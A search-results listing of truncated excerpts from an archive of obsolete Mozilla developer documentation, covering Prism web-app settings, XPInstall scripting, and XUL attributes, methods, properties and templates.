tion bar on or off for this web app: yes or no navigation turns the hotkey history navigation (alt+left, alt+right and alt+home) on or off for this web app: yes or no splashscreen filename of an html page to be displayed while the app is loading. the file must be located in the web app home directory: splashscreen.html include uris that should be opened in the web app, rather than in the default browser. an asterisk is used to match any string. separate multiple uris with commas: *google.com, *yahoo.com exclude urls that should be opened in the default browser, rather than in the web app. syntax is the same as for include. trayicon indicates that a system tray (notification area) icon should be displayed for the application on windows: yes or no. iconic specifies that the application should be...
Extensions - Archive of obsolete content
ption> <em:id>prism@developer.mozilla.org</em:id> <em:minversion>0.8</em:minversion> <em:maxversion>1.0.0.*</em:maxversion> </description> </em:targetapplication> in addition to the install manifest changes, you may want to expose your extension into the prism ui. prism does have a few ui elements, such as a toolbox, toolbar, menubar, popup menus, statusbar and a container for the browser. you can use these ui elements to merge in your extension ui. see the prism main window xul file for the actual structure: webrunner.xulporting an existing extension since there aren't many extensions designed explicitly for prism, you may need to port your favorite extensions. this usually means extracting and editing the install.rdf file to add prism as a target application. you may also need...
Scripting - Archive of obsolete content
it can contain the following functions: startup when the app starts, before the user interface is displayed. since the web application has not yet loaded, the window object is still undefined. ...
Hacking wiki - Archive of obsolete content
er. the contents of the <tt>trunk</tt> directory you just checked out is a slightly modified mediawiki install, so you can follow the mediawiki install instructions. the <tt>css</tt> folder contains files that are supposed to be in the <tt>/css</tt> directory of the site.) to get a working install, you need to configure mediawiki. it's done by navigating to <tt>/config/index.php</tt> in your web browser. polvi claims that you'll have it, but in case you don't, you can copy one from the mediawiki tarball. once you're done with the configuration script, copy the <tt>config/localsettings.php</tt> file it created to the parent directory and navigate to the location you installed mediawiki to. a main page should appear. you can log in and switch the skin to devmo if you like. mdc customizations ...
Proxy UI - Archive of obsolete content
products firefox menu: preferences > advanced tab > networking tab > connection button. thunderbird menu: preferences > advanced tab > networking tab > connection button. seamonkey menu: preferences > advanced group > proxies panel menu: right-click on offline-online button (on browser windows). camino configured in os (networking preferences) (recently added - some support for reading os and account settings.)ui elements preferences panel overview the ui is based on selecting a proxy mode, then filling out any additional needed information in "related" ui. the "ok" button saves the preferences. the preference changes selecting the proxy "mode" all product's proxy preference panels share a basic design: a radio button that selects the proxy mode, then "related proxy mode" ui ...
PyDOM - Archive of obsolete content
- see bug 100924). but addeventlistener within a <script type="application/x-python"> block does. almost python code can not be secured - so it will only run from trusted sources. this means you can only have python code in chrome. content loaded from anywhere other than a chrome:// url can not host python. it should be obvious why you don't want to run http://evil.com/something_evil.py in your browser! inside chrome, you can use python via either html or xul. related topics pyxpcom: create and use xpcom components with python python-spidermonkey pydom samples: sample applications that use pydom pythonext: a firefox/xulrunner extension that can be used to install pydom ...
RDF Datasource How-To - Archive of obsolete content
partially outdated. help bring it up to date, if you can. the xpcom registration parts and the "as of this writing, it is not currently possible to implement javascript xpcom components" comment seem outdated didn't check the whole article. this document is a cookbook that describes how to create a native, client-side datasource that works with mozilla's rdf implementation. it supersedes (and borrows from) the original document put together by robert churchill. what is a datasource? the "rdf universe" consists of a set of statements about internet resources; for example, "my home page was last modified april 2nd", or "that news article was sent by bob". in the most abstract sense, a datasource is a collection of such statements. more concretely, a datasource is a translator that can present i...
Space Manager Detailed Design - Archive of obsolete content
the class is only used in the layout module and cannot be exported outside of that module (nor does it need to be). it is not a general purpose class, and is not intended to be subclasses . here is the class declaration, taken from the source file as of 01.08.02 /** * class for dealing with bands of available space. the space manager * defines a coordinate space with an origin at (0, 0) that grows down * and to the right. */ class nsspacemanager { public: nsspacemanager(nsipresshell* apresshell, nsiframe* aframe); ~nsspacemanager(); void* operator new(size_t asize); void operator delete(void* aptr, size_t asize); static void shutdown(); /* * get the frame that's associated with the space manager. this frame * created the space manager, and the world coordinate space ...
File object - Archive of obsolete content
t enable it by setting the make variable js_has_file_object during the compilation of your spidermonkey engine. if you are building a standalone version of spidermonkey (see: spidermonkey build documentation), this variable can be added on the make command line, like so: cd mozilla/js/src make -f makefile.ref js_has_file_object=1 alternatively, if you are building a larger product (such as a browser) and want to include the file object, you may need to perform minor makefile surgery. summary non-standard server-side object this object lets you work files and directories on the local filesystem, and create os pipelines. creating a pipeline involves spawning arbitrary processes; this means that giving a script access to the file object is exactly equivalent to giving the script access to ...
Static Analysis for Windows Code under Linux - Archive of obsolete content
build run: make check_treehydra run static analysis on mozilla windows code static analysis is hooked into mozilla repository from mozilla 2. you can obtain mozilla 2 code by: hg clone http://hg.mozilla.org/mozilla-central/ and compose a .mozconfig file for cross-compiling mozilla with static analysis hooked: #specify the cross compile cross_compile=1 ac_add_options --enable-application=browser ac_add_options --host=i686-linux ac_add_options --target=i686-mingw32 ac_add_options --enable-default-toolkit=cairo-windows mk_add_options moz_objdir=@topsrcdir@/../mozilla-mingw # mozilla trunk uses many vista only features on windows, so we should disable some components to make it buildable with mingw32. ac_add_options --enable-debug ac_add_options --disable-optimize ac_add_options --dis...
Actionscript Acceptance Tests - Archive of obsolete content
place all timezones that this file applies to. # these values correspond to the value returned by time.tzname tuple. # (see http://docs.python.org/library/time.html for details) # e.g.: eastern standard time/eastern daylight time = ('est','edt') # write timezones as tuples, one to each line. ('est', 'edt') ('cst', 'cdt') ('mst', 'mdt') ('pst', 'pdt') testname.err this file is used when the test throws an uncatchable error. the first line must contain the expected error (without the extra debugger information). the exitcode is optional, but must be defined in this file if non-zero. verifyerror: error #1021 exitcode: 1 testname.exitcode file that specifies the expected exitcode. should just be an integer with nothing else. (note that if a .err file is defined, the .exitcode file will be ign...
Venkman - Archive of obsolete content
venkman has been provided as part of the mozilla install distribution since october 2001, as well as an extension package in xpi format. documentation venkman introduction an overview and some practical examples of using the javascript debugger in web development. ...
Mozilla Web Developer Community - Archive of obsolete content
get news from developer.mozilla.org and connect with developers involved in cross-browser, standards-based web development. newsgroups, mailing lists, and forums by topic: css - mozilla.dev.tech.css dom - mozilla.dev.tech.dom html - mozilla.dev.tech.html plugins - mozilla.dev.tech.plugins xml - mozilla.dev.tech.xml documentation - see mdc:community more at http://www.mozilla.org/community/dev...er-forums.html mozillazine forums mozilla news and development help mozilla (testing and development) mozdev.org mozillazine planet mozilla spread firefox standards communities get involved in grass-roots web standards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a commercial ...
Writing textual data - Archive of obsolete content
ort buffering). passing 0 ensures that data will be immediately written to the underlying stream; however, for better perfomance you should pass a value like 4096 instead. unsupported characters you can specify what should happen with characters that are not supported by the selected character encoding. the last argument to init specifies that: 0x0000 means that writing unsupported characters throws an exception (with an error code of ns_error_loss_of_significant_data), and no data will be written. to instead write a replacement character in such cases, specify the character instead of 0x00: os.init(fos, charset, 0, "?".charcodeat(0)); you can, of course, replace the "?" in that example with any other character. you can also specify any unicode character u+abcd directly as 0xabcd. note:...
XBL 1.0 Reference - Archive of obsolete content
extensible binding language is a xml-based markup language to implement reusable components (bindings) that can be bound to elements in other documents. the element with a binding specified, called the bound element, acquires the new behavior specified by the binding. bindings can be bound to elements using cascading style sheets (css) or dom. one element can be bound to several bindings at once. functionally bindings should be correlated with behaviors and viewlink but being implemented as one integrated xml solution. ...
Creating XPI Installer Modules - Archive of obsolete content
for this option to work, the designated chrome must have been installed and registered properly with mozilla. the chrome:// url pointer corresponds to the directory mozilla/bin/chrome/barley/content, where the main xul file and the other resources live once they are installed. package creation overview this tutorial describes the following sequence of steps for creating a new package: ...
Unix stub installer - Archive of obsolete content
tics. add an <component>.jst install script template file (the jst extension stands for javascript template indicating this is a template for the final install.js for the <component>.xpi. checkin the <component>.jst to the: <http://lxr.mozilla.org/seamonkey/sou.../packager/unix> directory. note that there are two macro strings in the .jsts: $version$ which is replaced at packages time with the browser version. $spacerequired$ which is replaced at package time with the amount of space in kb required for the package when it is fully extracted. add a [componentx] section to the config.ini template file named config.it found at: <http://lxr.mozilla.org/seamonkey/sou...unix/config.it>. then add the componentx into the appropriate setup types so the installer module installs it when users selec...
Windows stub installer - Archive of obsolete content
n stands for javascript template indicating this is a template for the final install.js for the <component>.xpi. checkin the <component>.jst to the: <http://lxr.mozilla.org/seamonkey/sou...ckager/windows> directory. note that there are several macro strings--a macro name wrapped in dollar ($) signs--which may be used in the .jsts, including: $version$ which is replaced at packages time with the browser version. $spacerequired$ which is replaced at package time with the amount of space in kb required for the package when it is fully extracted. other macro strings listed in makejs.pl can be found by searching for "version", which is one of the macro strings, until you find the line $line =~ s/\$version\$/$inversion/i; other macro strings are grouped in this section. as with "version", th...
Install Wizards (aka: Stub Installers) - Archive of obsolete content
n phil katz zip format. it contains some files to be installed and the install script, usually named install.js, which contains javascript directives for actions to take during an install including adding files and directories, removing old or obsolete files and directories, executing command line tools, etc. to learn more about the xpinstall and installer packages please refer to the annotated browser xpi installer and the xpinstall api reference. what do we mean by engine code? the xpinstall engine processes installer packages by reading instructions from their install scripts to extract files and take other install actions. the same xpinstall engine is used by the browser and the stub installers on all platforms. the xpinstall engine source resides at: <http://lxr.mozilla.org/seamonkey/...
logComment - Archive of obsolete content
dds a comment line to the installation log. method of install object syntax int logcomment( string acomment ); parameters the sole input parameter is a string whose value will be written to the log during the installation process. returns an integer error code. for a list of possible values, see return codes. description the install log is created in the product directory by default (where the browser executable is) if it can be, and if the installation doesn't have proper permission, the install log is written to the user's profile directory. respectively, these directories correspond to the "program" and "current user" keywords for the getfolder method. ...
registerChrome - Archive of obsolete content
switch is the chrome switch indicating what type of file is being registered. skin is used to register skins, locale is used to register language packs. package, a third possibility is the equivalent of skin and/or locale, and ensures that everything in the xpi is registered. one final option for the switch parameter is delayed_chrome, which registers the switch only after a relaunch of the browser. note that you can combine switches as in the example below. srcdir srcdir is a filespecobject representing the source destination of the installation. filespecobjects like that required by this function are created using the getfolder method on the install object. xpipath xpipath is the path within the xpi in where the contents.rdf file defining the chrome is l...
Methods - Archive of obsolete content
ources returns an object whose properties are localized strings loaded from the specified property file. logcomment add a comment line to the install log. patch applies a set of differences between two versions. performinstall finalizes the installation of the software. refreshplugins refreshes the list of plug-ins registered for the browser. registerchrome registers chrome with the chrome registry. reseterror resets a saved error code to zero. setpackagefolder sets the default package folder that is saved with the root node. ...
enumKeys - Archive of obsolete content
e\\navigator\\mail". subkeyindex an integer representing the 0-based index of the subkey being sought. returns the name if it succeeded; null if the referenced value does not exist. description enumkeys can be used to iterate through the subkeys at a given key location. the following example shows how to use enumkeys to find the plugins subdirectory below the various mozilla-based browser installations. var winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_local_machine); var index = 0; var basekey = "software\\mozilla"; while ( (mozillaversion = winreg.enumkeys(basekey,index)) != null ) { logcomment("mozillaversion = " + mozillaversion); subkey = basekey + "\\" + mozillaversion + "\\extensions"; pluginsdir = winreg.getvaluestring ( subkey, "plugins" ); if ( plugi...
XPInstall - Archive of obsolete content
lling extensions. an xpi (pronounced "zippy" and derived from xpinstall) installer module is a zip file that contains an install script or manifest (entitled install.js or install.rdf) at the root of the file. documentation xpinstall api reference xpinstall api reference. learn xpi installer scripting by example this article uses the installer script from browser.xpi install package as the basis for discussing xpi installations in general. creating xpi installer modules this article describes the packaging scheme of the mozilla and offers a tutorial for creating a new package that can then be redistributed, installed, and made available to users. install wizards (aka: stub installers) view all... community ...
XTech 2005 Presentations - Archive of obsolete content
rchy show up in the other. directions of the mozilla rdf engine: website scripting, standards conformance and perfomance - axel hecht this presentation showed new developments in the mozilla rdf engine. these include plans to expose the rdf api to public web content, as well as performance and correctness improvements. rich web: svg and canvas in mozilla - robert o'callahan today's web browsers offer somewhat limited graphics capabilities to web developers. advances in hardware, especially graphics processors, offer the potential for far richer graphics in interactive applications. to realize this potential in web applications, browsers must expose rich new graphics apis to web content. the mozilla project will meet this challenge with two major new features to be delivered in firefo...
XTech 2006 Presentations - Archive of obsolete content
ns of the most important and timely information on web pages. this talk demonstrates how firefox will incorporate microsummaries into its ui, starting with bookmark labels. svg and canvas: graphics for web apps - vladimir vukićević this presentation examines some of the strengths and weaknesses of the html 'canvas' and svg for adding rich graphical capabilities to web applications. future browser graphics capabilities, both 2d and 3d, are also discussed. converging rich-client and web application development with mozilla xulrunner (open office format) - benjamin smedberg this presentation demonstrates the convergence of rich-client and web application development and discuss application deployment using mozilla xulrunner. etna, a wysiwyg xml relax ng- and gecko-based editor - d...
alternatingbackground - Archive of obsolete content
you can use the :-moz-tree-row css style to do this instead. ...
autocompletepopup - Archive of obsolete content
...
autoscroll - Archive of obsolete content
« xul reference home autoscroll type: boolean set to false to disable autoscroll for this browser. if this attribute is set to true or omitted, autoscroll will be enabled or depending on the user preference general.autoscroll. ...
clicktoscroll - Archive of obsolete content
« xul reference home clicktoscroll type: boolean clicktoscroll, if true, the arrows must be clicked to scroll the scrollbox content. if false, the mouse must be hovered over the arrows to scroll automatically. ...
closebutton - Archive of obsolete content
« xul reference home closebutton obsolete since gecko 1.9.2 type: boolean if this attribute is set to true, the tabs row will have a "new tab" button and "close" button on the ends. this feature is used by the tabbrowser to provide the facilities for adding and closing tabs. you can set an image to the "new tab" and "close" buttons by applying them to the tabs-newbutton and tabs-closebutton classes respectively. ...
contentcontextmenu - Archive of obsolete content
...
contenttooltip - Archive of obsolete content
...
disablechrome - Archive of obsolete content
« xul reference home disablechrome type: boolean set this attribute to true to disable chrome in the window. this is used to hide chrome when showing in-browser ui such as the about:addons page, and causes the toolbars to be hidden, with only the tab strip (and, if currently displayed, the add-on bar) left showing. note: this has no effect if the tabs on top preference is turned off. ...
disableglobalhistory - Archive of obsolete content
...
disablehistory - Archive of obsolete content
...
disablesecurity - Archive of obsolete content
omit this attribute off to enable it. ...
droppedLinkHandler - Archive of obsolete content
« xul reference home droppedlinkhandler type: function this function is called when links are dropped to the browser element, with the following arguments. droppedlinkhandler(event, uri, name) -- firefox 51 or older droppedlinkhandler(event, links) -- firefox 52 or newer event -- drop event, or null if no event is available uri -- uri string of the dropped link name -- name string of the dropped link links -- array of the dropped items with nsidroppedlinkitem interface ...
flags - Archive of obsolete content
...
homepage - Archive of obsolete content
« xul reference home homepage type: url this attribute allows you to set a homepage for the browser element. it does not have any correlation with the user's browser homepage; instead it is a convenient property to hold a home page. you can switch to this home page using the gohome method. ...
increment - Archive of obsolete content
the default value is 1. ...
pinned - Archive of obsolete content
...
preference.name - Archive of obsolete content
« xul reference home name type: string the name of the preference to change. for example, the browser's home page is set with the preference browser.startup.homepage. see also name ...
primary - Archive of obsolete content
« xul reference home primary type: boolean if set to true, the treecol will have indentation and twisties drawn to the left of it to indicate the hierarchy level of the rows. if no column has the primary attribute set to true, the tree may still contain nested rows, although no indication will be given to the user. the attribute also controls whether the column picker allows the user to deselect this column. ...
seltype - Archive of obsolete content
« xul reference home seltype type: one of the values below used to indicate whether multiple selection is allowed. single only one row may be selected at a time. (default in listbox and richlistbox.) multiple multiple rows may be selected at once. (default in tree.) for trees, you can also use the following values: cell individual cells can be selected text rows are selected; however, the selection highlight appears only over the text of the primary column. for richlistbox, this is new in firefox 3.5. ...
showcaret - Archive of obsolete content
« xul reference home showcaret type: boolean whether or not to cause a typing caret to be visible in the content area. default is false. examples <iframe id="content-body" src="http://www.mozilla.org/" showcaret="true"/> <browser src="http://www.mozilla.org" flex="1" showcaret="true"/> ...
src - Archive of obsolete content
Archive › Mozilla › XUL › Attribute › src
« xul reference home src type: uri the uri of the content to appear in the element. ...
timepicker.increment - Archive of obsolete content
this should be used in combination with setting hideseconds to true. ...
tree.onselect - Archive of obsolete content
« xul reference home onselect type: script code this event is sent to a tree when a row is selected, or whenever the selection changes. the user can select multiple rows by holding down shift or control and clicking on a row. the onselect event will be sent for each item added to or removed from the selection. see the tree selection page on the tutorial for more information. ...
type - Archive of obsolete content
Archive › Mozilla › XUL › Attribute › type
see button.type browser.type colorpicker.type datepicker.type editor.type listcell.type listitem.type menuitem.type notification.type prefwindow.type query.type script.type textbox.type toolbarbutton.type treecol.type ...
visuallyselected - Archive of obsolete content
« xul reference home visuallyselected type: boolean new in firefox 40. indicates that a tab is selected. the visuallyselected attribute is set asynchronously, once the browser has switched to the selected tab. if your code needs to apply some styling to the currently selected tab, this is the attribute you should use from firefox 40 onwards. this value is read-only. to change the selection, set either the selectedindex or selecteditem property of the containing element. ...
Dynamically modifying XUL-based user interface - Archive of obsolete content
e you can think of a document as an in-memory representation of valid html or well-formed xml such as xhtml or xul. it is important to remember that different web pages (and even different instances of the same web page) correspond to different documents. each xul window has its own distinct document, and there may even be a few different documents in a single window, when there is an <iframe>, <browser>, or a <tabbrowser> element. you must be sure to always manipulate the correct document. (read more about this in working with windows in chrome code.) when your script is included using a <script> tag, the document property references the dom document that includes the script. examples: using dom methods this section demonstrates the use of appendchild(), createelement(), insertbefore(), and r...
Menus - Archive of obsolete content
e 'help' menu. menu_viewsidebarmenu the menupopup for the 'sidebar' submenu on the 'view' menu. menuwebdeveloperpopup the menupopup for the 'web developer' submenu on the 'tools' menu. firefox context menu element id description relevant context contentareacontextmenu the popup for the context menu when a web page is displayed in the browser area. spell-no-suggestions the no spelling suggestions item - notable as it is the first item on the context menu. editable text context-openlink opens a link in a new window links context-openlinkintab opens a link in a new tab links context-bookmarklink bookmarks a link links context-savelink saves a link links ...
addTabsProgressListener - Archive of obsolete content
« xul reference home addtabsprogresslistener( listener ) return type: no return value add a progress listener to the browser which will monitor loaded documents in all tabs in the tabbed browser. the progress listener should be based on the nsiwebprogresslistener interface with an additional "browser" argument as the first argument of every method, which is the browser (not <tabbrowser> = gbrowser) where the event occurred. see listening to events on all tabs for details. ...
removeTabsProgressListener - Archive of obsolete content
the progress listener should implement the nsiwebprogresslistener interface. ...
swapDocShells - Archive of obsolete content
« xul reference home swapdocshells( otherbrowser ) return type: no return value swaps the content, history and current state of this browser with another browser. during the swap, pagehide and pageshow events are fired on both browsers. this method can be used to move browser between windows or tear off a browser into a new window. note: both browsers must be either standalone browsers or embedded in a tabbrowser. you can't mix them. ...
addProgressListener - Archive of obsolete content
the progress listener should implement the nsiwebprogresslistener interface. ...
addTab - Archive of obsolete content
Archive › Mozilla › XUL › Method › addTab
d url. the rest of the parameters are optional. the row of tabs will appear if needed. firefox 3.6 note the second form of this method was added in firefox 3.6; it allows you to specify the parameters by name, in any order. it also adds the relatedtocurrent parameter; firefox uses this to decide whether the new tab should be inserted next to the current tab. see code snippets: tabbed browser for examples. see preprocessing post data for preparing postdata out of a string. ...
getNextItem - Archive of obsolete content
« xul reference home getnextitem( startitem, delta ) return type: element this method returns the item a given distance (delta) after the specified startitem, or null if no such item exists. this example will return the item two rows after someitem: getnextitem ( someitem, 2 ); ...
getPreviousItem - Archive of obsolete content
« xul reference home getpreviousitem( startitem, delta ) return type: element this method returns the item a given distance (delta) before the specified startitem, or null if no such item exists. this example will return the item five rows before someitem: getpreviousitem ( someitem, 5 ); ...
getTabModalPromptBox - Archive of obsolete content
« xul reference home gettabmodalpromptbox( browser ) return type: object returns an object that manages tab-modal prompts for the specified browser. returns a promptbox object representing the new prompt. ...
goHome - Archive of obsolete content
Archive › Mozilla › XUL › Method › goHome
...
loadGroup - Archive of obsolete content
the argument should be an array of objects, one for each document to load. ...
loadOneTab - Archive of obsolete content
cept for the loadinbackground parameter which allows you to choose whether to open the new tab in foreground or background. there's also no owner parameter as the owner tab is specified automatically. parameters inbackground if true the tab will be loaded in the background, if false the tab will be the newly selected tab. and if null or not specified, this parameter will default to the browser.tabs.loadinbackground preference. firefox 3.6 note the second form of this method was added in firefox 3.6; it adds the relatedtocurrent parameter, and allows the parameters to be specified by name, in any order. ...
loadURI - Archive of obsolete content
Archive › Mozilla › XUL › Method › loadURI
please check which one you're documenting! (this one has no post data parameter, see loaduriwithflags for a version that does) loaduri( uri, referrer, charset ) return type: no return value load a url into the document, with the given referrer and character set. the first argument should be a string, not a nsiuri object. ...
reload - Archive of obsolete content
Archive › Mozilla › XUL › Method › reload
...
reloadWithFlags - Archive of obsolete content
the flags listed below may be used, which are all constants of the webnavigation property (or the nsiwebnavigation interface). you may combine flags using a or symbol ( | ). load_flags_none: no special flags. the document is loaded normally. load_flags_bypass_cache: reload the page, ignoring if it is already in the cache. this is the flag used when the reload button is pressed while the shift key is held down. load_flags_bypass_proxy: reload the page, ignoring the proxy server. ...
removeProgressListener - Archive of obsolete content
...
removeTab - Archive of obsolete content
« xul reference home removetab( tabelement ) return type: no return value removes a specific tabbed page corresponding to the given tab element. if only one tab is displayed, this method does nothing (unless the preference browser.tabs.closewindowwithlasttab is true, in which case the window containing the tab is closed). if browser.tabs.autohide is true, the row of tabs will collapse if only one tab remains. ...
scrollByIndex - Archive of obsolete content
a line is a single element. ...
scrollByPixels - Archive of obsolete content
« xul reference home scrollbypixels( pixels ) return type: no return value scrolls the contents of the arrowscrollbox by a certain number of pixels. use a positive value as the pixels argument to scroll forward that many pixels, or a negative value to scroll backward that many pixels. ...
Methods - Archive of obsolete content
ectedtab appendcustomtoolbar appendgroup appenditem appendnotification blur cancel canceldialog centerwindowonscreen checkadjacentelement clearresults clearselection click close collapsetoolbar contains decrease decreasepage docommand ensureelementisvisible ensureindexisvisible ensureselectedelementisvisible expandtoolbar extra1 extra2 focus getbrowseratindex getbrowserfordocument getbrowserfortab getbrowserindexfordocument getbutton getdefaultsession geteditor getelementsbyattribute getelementsbyattributens getformattedstring gethtmleditor getindexoffirstvisiblerow getindexofitem getitematindex getnextitem getnotificationbox getnotificationwithvalue getnumberofvisiblerows getpagebyid getpreviousitem ge...
MoveResize - Archive of obsolete content
screen; in this situation, the menu may be moved such that it will fit on screen. for instance, instead of appearing below the menu label, the menu popup might appear above the label. you can see this effect in a xul application by moving a window near the bottom of the screen and clicking a menu or button that has a menu. if a popup is still too large, it will be resized to fit on the screen. arrows will appear on the ends of the menu to allow a user to scroll through the items. a popup can be resized manually using the popup's sizeto method. void sizeto(in long width, in long height); here is an example which resizes a popup to be 200 pixels wide and 300 pixels high: popup.sizeto(200, 300); ...
Special per-platform menu considerations - Archive of obsolete content
moved to the application menu, the label and shortcut keys are overridden by platform conventions. however, regardless of the platform, the command event will be fired on the menu item when it is activated by the user. notes for firefox extension developers on the mac, some elements, once moved to the application menu, are no longer accessible from xul overlays or from javascript injected into browser.xul. for example, using document.getelementbyid() for the quit menu item returns the hidden item that still sits in the file menu. to change these items in firefox, overlay hiddenwindow.xul instead. ...
Positioning - Archive of obsolete content
opup. in the following example, the menupopup has a 2ex margin above it, so when opened, the popup will be placed a distance of 2ex below the bottom of the button. <button label="popup" type="menu"> <menupopup style="margin-top: 2ex;"> <menuitem label="cat"/> <menuitem label="dog"/> </menupopup> </button> this technique is used internally for tooltips. if you notice in the firefox browser when a tooltip is opened it appears not at the mouse position, but slightly below it. this is because the default theme has a 21 pixel top margin on tooltips that moves them down by that much. this is used so that the tooltip doesn't cover up what it is providing a description of. screen positioning the openpopupatscreen method may be used to open a popup via a script at a specific screen pos...
Tooltips - Archive of obsolete content
then set as the value of the last child of the tooltip. in the earlier example, the last child of the tooltip is a label. the effect is that the value of the label within the tooltip will change based on the element that the mouse is moved over. tooltips in trees as the entire body of the tree is displayed using a single element, the tooltip and tooltiptext attributes do not apply to individual rows or cells of a tree. however, the tree will automatically display tooltips for a cell when the value is cropped. for instance, if a cell has a long label and the column is shorter than the label's length, a tooltip will appear when the mouse is moved over the cell so that the user can see the entire value. ...
Popup Guide - Archive of obsolete content
on menu on a macintosh. using popups in extensions extensions may add additional menuitems either to a menu on the menu bar or to the context menu. in addition, an extension may add an entirely new menu. for example, an extension might wish to add a new command on the tools menu to open a dialog specific to the extension. another common task is to create an extension which adds an item to the browser's context menu. see using menus and popups in extensions for details. ...
contentPrincipal - Archive of obsolete content
...
contentTitle - Archive of obsolete content
...
name - Archive of obsolete content
Archive › Mozilla › XUL › Property › name
« xul reference name type: string the name of the preference to change. for example, the browser's home page is set with the preference browser.startup.homepage. ...
preferences - Archive of obsolete content
« xul reference see also browser.preferences preference.preferences prefpane.preferences ...
scrollIncrement - Archive of obsolete content
...
securityUI - Archive of obsolete content
...
smoothScroll - Archive of obsolete content
« xul reference smoothscroll type: boolean can be set to enable or disable smooth scrolling for the corresponding arrowscrollbox. if not set explicitly, it will fall back to the smoothscroll attribute and then to the toolkit.scrollbox.smoothscroll preference. currently, smooth scrolling supports horizontal arrowscrollboxes only. ...
tabContainer - Archive of obsolete content
...
view - Archive of obsolete content
Archive › Mozilla › XUL › Property › view
for a complete list of view functions, see the nsitreeview interface. ...
visibleTabs - Archive of obsolete content
this lets you determine which tabs are visible in the current tab set. ...
Additional Navigation - Archive of obsolete content
e ?title variables can be filled in so the builder doesn't know what to generate. the builder won't generate any output in this situation. the member tag must have variables for both the container and child attributes. it wouldn't be very common to filter for a specific child anyway. source navigation triples may also be used to navigate up the graph as well as downwards, following the graph arrows in the reverse direction. for instance, in the original example, we could start at node d and navigate upwards to a and c. the syntax for the triple is the same except that the known variable should be placed in the triple's object attribute and the unknown variable should be placed in the triple's subject variable. <query> <content uri="?start"/> <triple subject="?relateditem" pre...
Introduction - Archive of obsolete content
en multiple datasources are used, the rdf is combined as if it were one large datasource. that means that a template query can grab data from anywhere in all of the datasources. this combining of datasources is often termed 'aggregation'. this can be quite a useful feature and works regardless of the datasource. for instance, you might use the built-in bookmarks datasource which holds the user's browser bookmarks and use your own datasource to add custom data about those bookmarks. <vbox datasources="rdf:bookmarks http://www.xulplanet.com/ds/sample.rdf"> in addition, when using the rdf type for chrome xul (such as in extensions), the datasource rdf:local-store is always included in the composite. the local store is a datasource which is usually used to hold state information such as window si...
SQLite Templates - Archive of obsolete content
on mark in the action body is replaced with the value from the query results. here, this is used two times, once to display the name and the second to display the email. the uri attribute on the hbox element is required on one element within the action body. for sqlite queries it will almost always be on the outermost node. note also that the query statement has a where clause which restricts the rows to those with an age greater or equal to 30. query parameters sometimes, you will want to adjust the query depending on certain criteria. one possibility is to simply use methods to adjust the text within the query element and rebuild the template. however, this can become unweidly for more complex queries, and would be more error prone if values were not escaped properly to ensure that extraneou...
Sorting Results - Archive of obsolete content
in a tree by a column. to do this, place a sort attribute on a treecol element referring to the variable to sort by for that column. <treecol id="name" label="name" sort="?name" flex="1"/> <treecol id="date" label="date" sort="?date" flex="1"/> in this example, the first column will be sorted by the ?name variable and the second column by the ?date variable. when the sort is ascending, the tree rows will be sorted in alphabetical order. when the sort is descending, the tree rows will be sorted in the reverse order. for natural sorting, the rows will be sorted according to the natural order. only one column applies a sort at a time. if the tree is sorted by name, and the user clicks on the date column header, the sort will change to the date column. there are two additional attributes used fo...
Special Condition Tests - Archive of obsolete content
« previousnext » there are several additional types of conditional tests that may be performed. parent tag tests sometimes you want to simply generate one block of content at the top level and different content at the recurisive level. for example, the bookmarks toolbar in a web browser might display buttons at the first level, but menus and submenus for content below that. templates have a means of allowing a rule to match only if the generated content would be inserted inside an element with a particular tag name. for instance, if the container was a <vbox>, a rule could be created that would only match a <vbox> element. this is useful for recursive templates, since the inner iterations may use different content. it's most useful to distinguish between the outer and inner ...
Things I've tried to do with XUL - Archive of obsolete content
when adding items to multi-column listboxes, you can't use the appenditem api: // auto-create and attach 1st cell var row = mylistbox.appenditem( label, value ); // create and attach 2nd cell var cell = document.createelement('listcell'); cell.setattribute('label', label2 ); cell.setattribute('value', value2 ); row.appendchild( cell ); // etc // ... while this works at first, after a number of rows have been added it breaks and stops displaying the first cell (the one specified by the appenditem call). instead, you must build up your own listitem full of listcells, and then add that listitem to the listbox, using generic dom calls: var row = document.createelement('listitem'); // create and attach 1st cell var cell = document.createelement('listcell'); cell.setattribute('label', label ); c...
Code Samples - Archive of obsolete content
ontent/preferenc...wpasswords.xul" mail & newsgroups const name = "mail:3pane" const uri = "chrome://messenger/content/" sunbird passwords* const name = "toolkit:passwordmanager" const uri = "chrome://passwordmgr/content/passwordmanager.xul" seamonkey navigator const name = "navigator:browser" const uri = "chrome://navigator/content/" mail & newsgroups const name = "mail:3pane" const uri = "chrome://messenger/content/" composer const name = "composer:html" const uri = "chrome://editor/content/" address book const name = "mail:addressbook" const uri = "chrome://messenger/content/a...
Tree Widget Changes - Archive of obsolete content
eaning use tree.view.selection instead of tree.treeboxobject.selection. use tree.columns[1].id instead of tree.treeboxobject.getcolumnid(1) to get the id of a column, in this case column 1. use tree.columns.getkeycolumn().index instead of tree.treeboxobject.getkeycolumnindex(). the nsitreeboxobject.getpagecount() method has been renamed to make it clearer what it does. it returns the number of rows that can be displayed in the tree. this should correspond to the rows attribute on the tree if it was specified. tree.treeboxobject.getpagecount() is now tree.treeboxobject.getpagelength(). the invalidateprimarycell(row) method has been removed, instead use nsitreeboxobject.invalidatecell() like this invalidatecell(row, tree.columns.getprimarycolumn()). this may be used to redraw a cell after i...
Adding Buttons - Archive of obsolete content
ons in the image. the first button is a normal button. the second button is disabled so it appears greyed out. we'll start by creating a simple find button for the find files utility. the example code below shows how to do this. <button id="find-button" label="find"/> note: firefox does not allow you to open chrome windows from web pages, so the view links in the tutorial will open in normal browser windows. due to this, the buttons will appear to stretch across the window. you can add align="start" to the window tag to prevent the stretching. the findfile.xul example let's add this code to the file findfile.xul that we created in the previous section. the code needs to be inserted in-between the window tags. the code to add is shown in red below: <?xml version="1.0"?> <?xml-stylesheet...
Adding HTML Elements - Archive of obsolete content
age from the file banner.jpg, a checkbox and a single-cell table. you should always use xul features if they are available and you probably should not use tables for layout in xul. (there are xul elements for doing layout). notice that the prefix html: was added to the front of each tag. this is so that mozilla knows that this is an html tag and not a xul one. if you left out the html: part, the browser would think that the elements were xul elements and they would not display because img, input, table, and so on are not valid xul tags. in xul, you can add labels with the description or label element. you should use these elements when you can. you can also add labels to controls either by using the html label element, or you can simply put the text inside another html block element (such as p...
Adding Methods to XBL-defined Elements - Archive of obsolete content
